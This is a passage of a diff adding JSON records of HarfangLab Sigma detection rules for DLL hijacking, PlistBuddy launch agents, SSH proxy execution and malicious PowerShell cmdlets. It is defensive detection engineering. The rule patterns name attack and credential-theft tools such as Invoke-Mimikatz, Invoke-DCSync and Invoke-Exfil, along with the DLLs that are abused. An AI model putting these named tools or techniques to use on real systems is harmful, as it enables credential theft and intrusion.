\"/Applications/OneDrive.app/Contents/StandaloneUpdater.app/Contents/MacOS/OneDriveStandaloneUpdater\" -c Add :RunAtLoad bool YES -c Add :StartInterval integer 86400 /Library/LaunchAgents/com.microsoft.OneDriveStandaloneUpdater.plist'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0dd8f4a-34b8-4bcf-b96d-74a3c8cd741b",
+  "rule_name": "Launch Agent Created via PlistBuddy",
+  "rule_description": "Detects a Launch Agent being created by PlistBuddy.\nPlistBuddy is a utility to easily create plist files via commandline.\nAttackers can manually craft malicious launch agents in plist files to achieve persistence.\nIt is recommended to investigate the content of the plist file to determine whether this action was legitimate.\n",
+  "rule_creation_date": "2024-06-12",
+  "rule_modified_date": "2025-01-28",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1195"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0e116a0-82c7-4f59-9926-b9039668d557",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095242Z",
+  "creation_date": "2026-03-23T11:45:34.095244Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095248Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_driverquery.yml",
+  "content": "title: DLL Hijacking via driverquery.exe\nid: f0e116a0-82c7-4f59-9926-b9039668d557\ndescription: |\n    Detects potential Windows DLL Hijacking via driverquery.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'driverquery.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\fastprox.dll'\n            - '\\framedynos.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\srvcli.dll'\n            - '\\SspiCli.dll'\n            - '\\version.dll'\n            - '\\wbemprox.dll'\n            - '\\wbemsvc.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0e116a0-82c7-4f59-9926-b9039668d557",
+  "rule_name": "DLL Hijacking via driverquery.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via driverquery.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0e577e7-880f-48f0-8935-8641065e0641",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091760Z",
+  "creation_date": "2026-03-23T11:45:34.091762Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091766Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_wiaacmgr.yml",
+  "content": "title: DLL Hijacking via wiaacmgr.exe\nid: f0e577e7-880f-48f0-8935-8641065e0641\ndescription: |\n    Detects potential Windows DLL Hijacking via wiaacmgr.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'wiaacmgr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\ScanSetting.DLL'\n            - '\\UxTheme.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0e577e7-880f-48f0-8935-8641065e0641",
+  "rule_name": "DLL Hijacking via wiaacmgr.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via wiaacmgr.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f0ff7dfb-0cc8-467d-9c26-c8096c156e3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070036Z",
+  "creation_date": "2026-03-23T11:45:34.070038Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070043Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cyble.com/blog/a-stealthy-playbook-for-advanced-cyber-attacks/",
+    "https://x.com/salmanvsf/status/1901517210260062360",
+    "https://attack.mitre.org/techniques/T1566/",
+    "https://attack.mitre.org/techniques/T1218/"
+  ],
+  "name": "t1218_suspicious_ssh_command.yml",
+  "content": "title: Suspicious SSH Command Executed\nid: f0ff7dfb-0cc8-467d-9c26-c8096c156e3d\ndescription: |\n    Detects a suspicious execution of ssh.exe as a proxy to launch another application.\n    This pattern is frequently observed in phishing attacks that use a malicious link file (.LNK) to deploy stealers.\n    This technique can be used to bypass defensive measures.\n    It is recommended to investigate the execution context and surrounding detections to assess whether the execution of ssh.exe is linked with malicious activity.\nreferences:\n    - https://cyble.com/blog/a-stealthy-playbook-for-advanced-cyber-attacks/\n    - https://x.com/salmanvsf/status/1901517210260062360\n    - https://attack.mitre.org/techniques/T1566/\n    - https://attack.mitre.org/techniques/T1218/\ndate: 2025/03/24\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.initial_access\n    - attack.t1566\n    - attack.defense_evasion\n    - attack.t1218\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_proxycommand:\n        Image|endswith:\n            - '\\cmd.exe'\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n            - '\\wscript.exe'\n            - '\\cscript.exe'\n            - '\\rundll32.exe'\n            - '\\mshta.exe'\n        ParentImage: '?:\\Windows\\System32\\OpenSSH\\ssh.exe'\n        ParentCommandLine|contains: 'ProxyCommand='\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    selection_localcommand:\n        ParentImage: '?:\\Windows\\System32\\OpenSSH\\ssh.exe'\n        ParentCommandLine|contains|all:\n            - 'PermitLocalCommand=yes'\n            - 'LocalCommand='\n        GrandparentImage: '?:\\Windows\\explorer.exe'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f0ff7dfb-0cc8-467d-9c26-c8096c156e3d",
+  "rule_name": "Suspicious SSH Command Executed",
+  "rule_description": "Detects a suspicious execution of ssh.exe as a proxy to launch another application.\nThis pattern is frequently observed in phishing attacks that use a malicious link file (.LNK) to deploy stealers.\nThis technique can be used to bypass defensive measures.\nIt is recommended to investigate the execution context and surrounding detections to assess whether the execution of ssh.exe is linked with malicious activity.\n",
+  "rule_creation_date": "2025-03-24",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.initial_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1566"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f12ef755-160a-445e-8d4a-cca0c355beca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.608396Z",
+  "creation_date": "2026-03-23T11:45:34.608399Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.608407Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Inveigh",
+    "https://gist.github.com/monoxgas/9d238accd969550136db",
+    "https://gist.github.com/HarmJ0y/c84065c0c487d4c74cc1",
+    "https://github.com/secmode/Invoke-Apex",
+    "https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts",
+    "https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf",
+    "https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1",
+    "https://github.com/danielbohannon/Invoke-CradleCrafter",
+    "https://github.com/AlsidOfficial/WSUSpendu",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_script.yml",
+  "content": "title: Malicious PowerShell Commandlets\nid: f12ef755-160a-445e-8d4a-cca0c355beca\ndescription: |\n    Detects various malicious commandlets in PowerShell scripts, generally associated with online repositories containing attack codes to perform memory-only attacks.\n    Attackers can use off-the-shelf malicious PowerShell scripts to perform various actions on the infected hosts such as discovery, establish persistence, or exploit vulnerabilities.\n    It is recommended to investigate the detected PowerShell script to look for malicious content, as well as other actions taken by the PowerShell process and its ancestors.\nreferences:\n    - https://github.com/Kevin-Robertson/Inveigh\n    - https://gist.github.com/monoxgas/9d238accd969550136db\n    - https://gist.github.com/HarmJ0y/c84065c0c487d4c74cc1\n    - https://github.com/secmode/Invoke-Apex\n    - https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts\n    - https://www.blackhat.com/docs/us-15/materials/us-15-Graeber-Abusing-Windows-Management-Instrumentation-WMI-To-Build-A-Persistent%20Asynchronous-And-Fileless-Backdoor-wp.pdf\n    - https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1\n    - https://github.com/danielbohannon/Invoke-CradleCrafter\n    - https://github.com/AlsidOfficial/WSUSpendu\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/22\nmodified: 2025/03/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.t1562.001\n    - attack.t1562.006\n    - attack.collection\n    - attack.t1125\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.MemoryExecution\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'Invoke-Inveigh'\n            - 'Invoke-DCSync'\n            - 'Invoke-InveighRelay'\n            - 'Invoke-PsExec'\n            # - 'Invoke-SSHCommand' # too many FP\n            - 'Invoke-SMBScanner'\n            - 'Invoke-TimeStomp'\n            - 'Invoke-Creds'\n            - 'Invoke-UACBypass'\n            - 'Invoke-Exfil'\n            - 'Invoke-Persistence'\n            - 'Invoke-Privesc'\n            - 'Invoke-Obfuscation'\n            - 'Invoke-AmsiBypass'\n            - 'Invoke-CradleCrafter'\n            - 'Take-Screenshot'\n            - 'Invoke-ADPasswordBruteForce'\n            - 'Remote-WmiExecute'\n            - 'Remote-RegisterProtocolHandler'\n            - 'timestomp'\n            - 'PowerDump'\n            - 'Start-Eidolon'\n            - 'Out-CradleContents'\n            - 'Invoke-OutCradle'\n            - 'Out-Cradle'\n            - 'Wsuspendu'\n            - 'Invoke-Mimikatz'\n            - 'VolumeShadowCopyTools'\n            - 'Get-Unconstrained'\n            - 'Check-VM'\n            - 'Get-IndexedItem'\n            - 'Invoke-RunAs'\n            - 'MailRaider'\n            - 'Invoke-ThunderStruck'\n            - 'Invoke-VoiceTroll'\n            - 'Get-SecurityPackages'\n            - 'Get-RickAstley'\n            - 'Find-Fruit'\n            - 'HTTP-Login'\n            - 'Find-TrustedDocuments'\n            - 'Invoke-BadPotato'\n            - 'Invoke-BetterSafetyKatz'\n            - 'Invoke-Carbuncle'\n            - 'Invoke-Certify'\n            - 'Invoke-DAFT'\n            - 'Invoke-DinvokeKatz'\n            - 'Invoke-Eyewitness'\n            - 'Invoke-FakeLogonScreen'\n            - 'Invoke-Farmer'\n            - 'Invoke-Get-RBCD-Threaded'\n            - 'Invoke-Gopher'\n            - 'Invoke-Grouper' # cover Invoke-GrouperX\n            - 'Invoke-HandleKatz'\n            - 'Invoke-Internalmonologue'\n            - 'Invoke-KrbRelay'\n            - 'Invoke-LdapSignCheck'\n            - 'Invoke-Lockless'\n            - 'Invoke-MITM6'\n            - 'Invoke-MalSCCM'\n            - 'Invoke-NanoDump'\n            - 'Invoke-OxidResolver'\n            - 'Invoke-P0wnedshell'\n            - 'Invoke-PPLDump'\n            - 'Invoke-Rubeus'\n            - 'Invoke-SCShell'\n            - 'Invoke-SafetyKatz'\n            - 'Invoke-SauronEye'\n            - 'Invoke-Seatbelt'\n            - 'Invoke-ShadowSpray'\n            - 'Invoke-SharPersist'\n            - 'Invoke-SharpAllowedToAct'\n            - 'Invoke-SharpBlock'\n            - 'Invoke-SharpBypassUAC'\n            - 'Invoke-SharpChromium'\n            - 'Invoke-SharpClipboard'\n            - 'Invoke-SharpCloud'\n            - 'Invoke-SharpDPAPI'\n            - 'Invoke-SharpDump'\n            - 'Invoke-SharpGPO-RemoteAccessPolicies'\n            - 'Invoke-SharpGPOAbuse'\n            - 'Invoke-SharpHandler'\n            - 'Invoke-SharpHide'\n            - 'Invoke-SharpImpersonation'\n            - 'Invoke-SharpImpersonationNoSpace'\n            - 'Invoke-SharpKatz'\n            - 'Invoke-SharpLdapRelayScan'\n            - 'Invoke-SharpLoginPrompt'\n            - 'Invoke-SharpMove'\n            - 'Invoke-SharpPrintNightmare'\n            - 'Invoke-SharpPrinter'\n            - 'Invoke-SharpRDP'\n            - 'Invoke-SharpSCCM'\n            - 'Invoke-SharpSSDP'\n            - 'Invoke-SharpSecDump'\n            - 'Invoke-SharpSniper'\n            - 'Invoke-SharpSploit'\n            - 'Invoke-SharpSpray'\n            - 'Invoke-SharpStay'\n            - 'Invoke-SharpUp'\n            - 'Invoke-SharpWSUS'\n            - 'Invoke-SharpWatson'\n            - 'Invoke-Sharphound' # cover Invoke-SharpHound2, Invoke-SharpHound3,.\n            - 'Invoke-Sharplocker'\n            - 'Invoke-Sharpshares'\n            - 'Invoke-Sharpview'\n            - 'Invoke-Sharpweb'\n            - 'Invoke-Snaffler'\n            - 'Invoke-Spoolsample'\n            - 'Invoke-StandIn'\n            - 'Invoke-StickyNotesExtract'\n            - 'Invoke-TotalExec'\n            - 'Invoke-Thunderfox'\n            - 'Invoke-Tokenvator'\n            - 'Invoke-UrbanBishop'\n            - 'Invoke-Whisker'\n            - 'Invoke-WireTap'\n            - 'Invoke-winPEAS'\n            - 'Invoke-Zerologon'\n            - 'Get-USBKeystrokes'\n            - 'Start-WebcamRecorder'\n            - 'Invoke-OfficeScrape'\n            - 'Invoke-DomainPasswordSpray'\n            - 'Invoke-SpraySinglePassword'\n\n    exclusion_posh_ssh:\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\Posh-SSH\\2.2\\Posh-SSH.psd1\n        # C:\\Users\\xxxx\\Documents\\WindowsPowerShell\\Modules\\Posh-SSH\\3.0.6\\Posh-SSH.psm1\n        PowershellScriptPath: '*\\WindowsPowerShell\\Modules\\Posh-SSH*'\n        PowershellCommand|contains:\n            - 'Invoke-SSHCommandStream'\n            - 'function Invoke-SSHCommand'\n\n    exclusion_gehealthcare:\n        # seen: modules\\utility , modules\\installpackages , modules\\deployment\n        PowershellScriptPath:\n            - '?:\\Program Files\\GE Healthcare\\Solution Deployer Framework\\Modules\\\\*'\n            - '?:\\Program Files (x86)\\GE Healthcare\\Solution Deployer Framework\\Modules\\\\*'\n\n    exclusion_sdiag:\n        PowershellScriptPath: '?:\\WINDOWS\\TEMP\\SDIAG_*\\\\*.ps1'\n\n    exclusion_sentinel_one:\n        PowershellCommand|contains|all:\n            - ':::::\\windows\\sentinel'\n            - '<#sentinelbreakpoints#>'\n            - 'Set-PSBreakpoint'\n\n    exclusion_boxstarter:\n        PowershellScriptPath: '?:\\ProgramData\\Boxstarter\\Boxstarter.Chocolatey\\Install-BoxstarterPackage.ps1'\n\n    exclusion_utiladmin:\n        PowershellCommand|contains|all:\n            - '# Name'\n            - ': UtilAdmin-?.?.ps1'\n            - '# Author'\n            - ': Philippe Conseil'\n\n    exclusion_agicorp:\n        PowershellScriptPath: '?:\\Program Files (x86)\\AgiCorp\\\\*.ps1'\n\n    exclusion_vmware_vcenter:\n        PowershellCommand|contains|all:\n            - 'Check-VM'\n            - '-Vcenter'\n            - '-Cluster'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f12ef755-160a-445e-8d4a-cca0c355beca",
+  "rule_name": "Malicious PowerShell Commandlets",
+  "rule_description": "Detects various malicious commandlets in PowerShell scripts, generally associated with online repositories containing attack codes to perform memory-only attacks.\nAttackers can use off-the-shelf malicious PowerShell scripts to perform various actions on the infected hosts such as discovery, establish persistence, or exploit vulnerabilities.\nIt is recommended to investigate the detected PowerShell script to look for malicious content, as well as other actions taken by the PowerShell process and its ancestors.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1125",
+    "attack.t1562.001",
+    "attack.t1562.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f1306b77-a489-459c-9b75-ef762e3417b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.598687Z",
+  "creation_date": "2026-03-23T11:45:34.598690Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.598698Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bitsadmin.yml",
+  "content": "title: DLL Hijacking via bitsadmin.exe\nid: f1306b77-a489-459c-9b75-ef762e3417b8\ndescription: |\n    Detects potential Windows DLL Hijacking via bitsadmin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bitsadmin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\sspicli.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f1306b77-a489-459c-9b75-ef762e3417b8",
+  "rule_name": "DLL Hijacking via bitsadmin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bitsadmin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "f15da969-0fe2-4ed7-ac79-667f3384fed2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
